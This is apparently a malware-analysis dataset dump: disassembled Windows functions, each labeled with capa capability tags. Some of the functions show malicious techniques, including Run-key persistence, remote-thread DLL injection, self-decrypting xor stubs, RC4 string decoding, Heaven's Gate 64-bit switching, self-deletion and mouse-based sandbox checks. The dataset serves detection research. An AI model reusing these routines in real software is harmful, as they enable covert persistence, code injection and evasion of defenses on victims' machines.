joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000655b
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi - 0x6c]
mov ecx, esi
call fcn.1000ae30
test eax, eax
jne 0x1000657b
mov eax, 0x80070005
jmp 0x100065ec
push esi
mov ecx, esi
call fcn.1000ae30
test eax, eax
js 0x100065ea
cmp dword [edi + 0x44], 0
je 0x100065ea
and dword [ebp + 8], 0
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.100099b8
test eax, eax
je 0x100065c7
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [eax + 8], 0
mov dword [eax], vtable.CNameShowContactCardJob.0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
jmp 0x100065c9
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.1000ae30
mov esi, dword [ebp + 8]
test esi, esi
je 0x100065ea
mov ecx, dword [edi + 0x44]
push esi
call fcn.1000ae30
test eax, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor eax, eax
pop edi
pop esi
leave
ret 4

Function at 0x1000a002
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x1000bfd5
call fcn.1000be6e
mov ebx, ecx
lea eax, [ebp - 0x14]
xor ecx, ecx
push eax
push 0x20019
push ecx
push 0x1000e1a8
mov dword [ebp - 4], ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push SysReAllocString
mov dword [ebp - 0x14], ecx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000a0aa
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
and dword [ebp - 0x10], 0
push eax
push 0x20019
push 0
push ebx
push dword [ebp - 0x14]
call edi
push 4
pop ebx
test eax, eax
jne 0x1000a09c
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push str.InsecureQI
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a09c
cmp dword [ebp - 0x18], ebx
jne 0x1000a09c
mov edi, dword [ebp - 0x1c]
cmp edi, 3
ja 0x1000a09c
mov byte [ebp - 4], 2
cmp dword [ebp - 0x10], eax
je 0x1000a0ac
push dword [ebp - 0x10]
call esi
jmp 0x1000a0ac
mov byte [ebp - 4], bl
cmp dword [ebp - 0x10], 0
je 0x1000a0aa
push dword [ebp - 0x10]
call esi
xor edi, edi
mov dword [ebp - 4], 5
cmp dword [ebp - 0x14], 0
je 0x1000a0be
push dword [ebp - 0x14]
call esi
mov eax, edi
call fcn.1000be4c
ret
Function at 0x1000a3b0
Capabilities:
Query or enumerate registry value

Disassembly:
push 8
mov eax, 0x1000c041
call fcn.1000be6e
cmp byte [0x10011fb4], 0
je 0x1000a3cf
mov eax, dword [0x10011fb8]
jmp 0x1000a4a5
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwarePoliciesMicrosoftSecurity
mov dword [ebp - 4], esi
push SysReAllocString
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000a41f
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 4
push eax
push 0x10011fb8
push esi
push esi
push str.CLSIDInterfaceTest
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a41f
cmp dword [ebp - 0x14], 4
je 0x1000a478
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], esi
test eax, eax
je 0x1000a430
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSecurity
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000a480
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 4
push eax
push 0x10011fb8
push esi
push esi
push str.CLSIDInterfaceTest
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a480
cmp dword [ebp - 0x14], 4
jne 0x1000a480
mov esi, dword [0x10011fb8]
jmp 0x1000a486
mov dword [0x10011fb8], esi
mov byte [0x10011fb4], 1
mov dword [ebp - 4], 3
cmp dword [ebp - 0x10], 0
je 0x1000a4a3
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
call fcn.1000be4c
ret

Function at 0x1000ae30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000ae3f
pop dword [ebp - 0x4c]
mov eax, 0x46b7f41d
sub eax, 0x36b745de
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x39004
push 0
mov eax, 0xdcd508de
add eax, 0x332bc7fe
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x372e8ef1
sub ecx, 0x372e4405
xor edx, edx
add edx, eax
mov esi, 0x4db9492a
sub esi, 0x3db7f72a
add esi, dword [ebp - 0x4c]
mov ebx, 0x3361bd37
add ebx, 0x1a360090
sub dword [ebp - 8], 0xfec6df8b
mov edi, dword [esi]
add dword [ebp - 0x2c], esi
sub edi, ebx
xor dword [ebp - 0x28], ecx
mov dword [edx], edi
add dword [ebp - 4], edx
add edx, 0xe6197cac
add edx, 0x19e68358
add esi, 0x7157f736
add esi, 0x8ea808ce
loop 0x1000aea0
add eax, 0x11e83
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x636812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x63681325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x63681325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6368132c
mov eax, 1
jmp 0x63681331
mov eax, 0
leave
ret

Function at 0x63681333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x63681382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6368137e
jmp 0x63681392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6368138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x636814d3
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x636815cc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6368162f
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636816f1
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x63681664
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636816f1
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6368168e
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636816f1
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x636816d5
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636816f1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x63681930
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x63681cc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6368603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x63686034]
sub esp, 4
test ebx, ebx
je 0x63681d0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x63681d04
test esi, esi
je 0x63681d04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x63681ce0
mov dword [esp], 0x6368603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x63681ef0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x636841d8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x63681f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x63682018
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x63681f7e
cmp eax, 4
jne 0x63681fa0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x63681f8e
cmp edx, 4
je 0x63681f8e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.63681ef0
Function at 0x40ed58
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
jmp 0x40ee17
cmp dword [esi + 0x10], 0x1000
jne 0x40ee03
test byte [esi + 0x15], 1
jne 0x40ee03
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb4
cmp ebp, 2
je 0x40edb4
cmp ebp, 0x10
je 0x40edb4
cmp ebp, 0x20
jne 0x40edd0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edd0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ede1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed50
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd4
cmp byte [esp + 4], 0
je 0x40ee03
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed89
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401bf2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c31
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c31
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c31
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c31
cmp dword [ecx + 0x74], 0xe
jbe 0x401c31
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401050
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x814008]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x4011fd
cmp dword [0x81400c], 0
jne 0x4011e9
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.00401270
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x4010a0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x4010b0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41e0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x4010e5
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00401270
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401144
sub edx, esi
sar edx, 1
je 0x4011fd
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x401160
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x4011fd
xor eax, eax
push ebx
test edx, edx
je 0x401198
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x401198
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x401181
xor eax, eax
test edx, edx
je 0x4011b2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x4011b2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4011a0
xor eax, eax
test edx, edx
je 0x4011cf
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4011cf
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4011c0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x814008]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x401b50
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x814e90]
sub esp, 0x11c
test eax, eax
jne 0x401c4e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.00401270
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x401ba0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x401bb0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41e104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x401be5
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00403300
pop edi
pop esi
pop ebx
test eax, eax
je 0x401c49
mov eax, dword [eax + 0x18]
test eax, eax
je 0x401c49
mov dword [0x814e90], eax
add esp, 0x11c
ret
mov eax, dword [0x814e90]
add esp, 0x11c
ret

Function at 0x401e00
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x401e28
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x401e36
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x401e4f
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x401e5d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x401e76
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x401e84
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x401e9d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x401eab
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x401ef2
add dword [esp], 5
retf
Function at 0x402630
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40267b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x40266b
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x402651
jmp 0x402670
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x4026cb
mov edi, edx
lea ecx, [edi + 2]
jmp 0x402690
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402690
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x4026ac
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401210
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4026ed
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x402760
mov esi, dword [ebx]
cmp esi, ebx
je 0x402760
test esi, esi
je 0x402760
cmp word [esi + 0x24], 2
jbe 0x40275a
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x40275a
cmp dword [esi + 0x18], 0
je 0x40275a
test ebp, ebp
je 0x402715
cmp ebp, eax
jne 0x40275a
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401210
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40273a
cmp eax, dword [esi + 0x18]
jne 0x40275a
cmp dword [esp + 0x10], 0
je 0x40276d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004012a0
add esp, 8
test eax, eax
je 0x40276d
mov esi, dword [esi]
cmp esi, ebx
jne 0x4026f3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x403300
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x40335b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x403320
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x40333c
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401210
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40337d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4033ef
mov esi, dword [ebx]
cmp esi, ebx
je 0x4033ef
test esi, esi
je 0x4033ef
cmp word [esi + 0x24], 2
jbe 0x4033e9
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4033e9
cmp dword [esi + 0x18], 0
je 0x4033e9
test ebp, ebp
je 0x4033a5
cmp ebp, eax
jne 0x4033e9
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401210
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x4033ca
cmp edx, dword [esi + 0x18]
jne 0x4033e9
cmp dword [esp + 0x14], eax
je 0x4033fc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004012a0
add esp, 8
test eax, eax
je 0x4033fc
mov esi, dword [esi]
cmp esi, ebx
jne 0x403383
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
